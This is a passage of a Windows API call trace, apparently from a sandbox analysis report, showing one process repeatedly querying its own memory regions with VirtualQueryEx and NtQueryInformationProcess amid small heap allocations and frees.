ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.795] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefabe0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefabe0000, AllocationBase=0x7fefabe0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.795] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.795] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4980000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4980000, AllocationBase=0x7fef4980000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.795] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.795] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.796] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4960000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4960000, AllocationBase=0x7fef4960000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.796] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.796] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7f50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef7f50000, AllocationBase=0x7fef7f50000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.796] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.796] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef46d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef46d0000, AllocationBase=0x7fef46d0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.796] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.796] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefab80000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefab80000, AllocationBase=0x7fefab80000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.796] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.796] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefee00000, AllocationBase=0x7fefee00000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.796] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.796] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefab70000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefab70000, AllocationBase=0x7fefab70000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.796] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.796] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.796] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefad20000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefad20000, AllocationBase=0x7fefad20000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.797] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.797] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.797] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef46c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef46c0000, AllocationBase=0x7fef46c0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.797] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.797] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.797] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.797] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef46a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef46a0000, AllocationBase=0x7fef46a0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.797] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.797] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.797] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.797] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4660000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4660000, AllocationBase=0x7fef4660000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.797] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.797] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.797] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.797] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4bf0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4bf0000, AllocationBase=0x7fef4bf0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.797] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.797] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.797] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.797] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd180000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd180000, AllocationBase=0x7fefd180000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.797] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.797] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.797] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.797] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefae10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefae10000, AllocationBase=0x7fefae10000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.797] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.797] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.797] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.797] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef44a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef44a0000, AllocationBase=0x7fef44a0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.798] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4480000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4480000, AllocationBase=0x7fef4480000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.798] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcbd0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcbd0000, AllocationBase=0x7fefcbd0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.798] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa8f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa8f0000, AllocationBase=0x7fefa8f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.798] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd8c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd8c0000, AllocationBase=0x7fefd8c0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.798] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa8d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa8d0000, AllocationBase=0x7fefa8d0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.798] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.798] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.798] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc5a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc5a0000, AllocationBase=0x7fefc5a0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.798] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4e00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4e00000, AllocationBase=0x7fef4e00000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef42c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef42c0000, AllocationBase=0x7fef42c0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef42a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef42a0000, AllocationBase=0x7fef42a0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4290000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4290000, AllocationBase=0x7fef4290000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4230000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4230000, AllocationBase=0x7fef4230000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.799] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.799] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4220000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4220000, AllocationBase=0x7fef4220000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.799] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.799] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.800] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.800] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef41d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef41d0000, AllocationBase=0x7fef41d0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.800] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.800] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.800] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.800] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4170000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef4170000, AllocationBase=0x7fef4170000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.800] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.800] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.800] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.800] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef40b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef40b0000, AllocationBase=0x7fef40b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.800] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.800] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.800] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.800] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef34f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef34f0000, AllocationBase=0x7fef34f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.800] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.800] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.800] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.800] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef3490000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef3490000, AllocationBase=0x7fef3490000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.800] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, 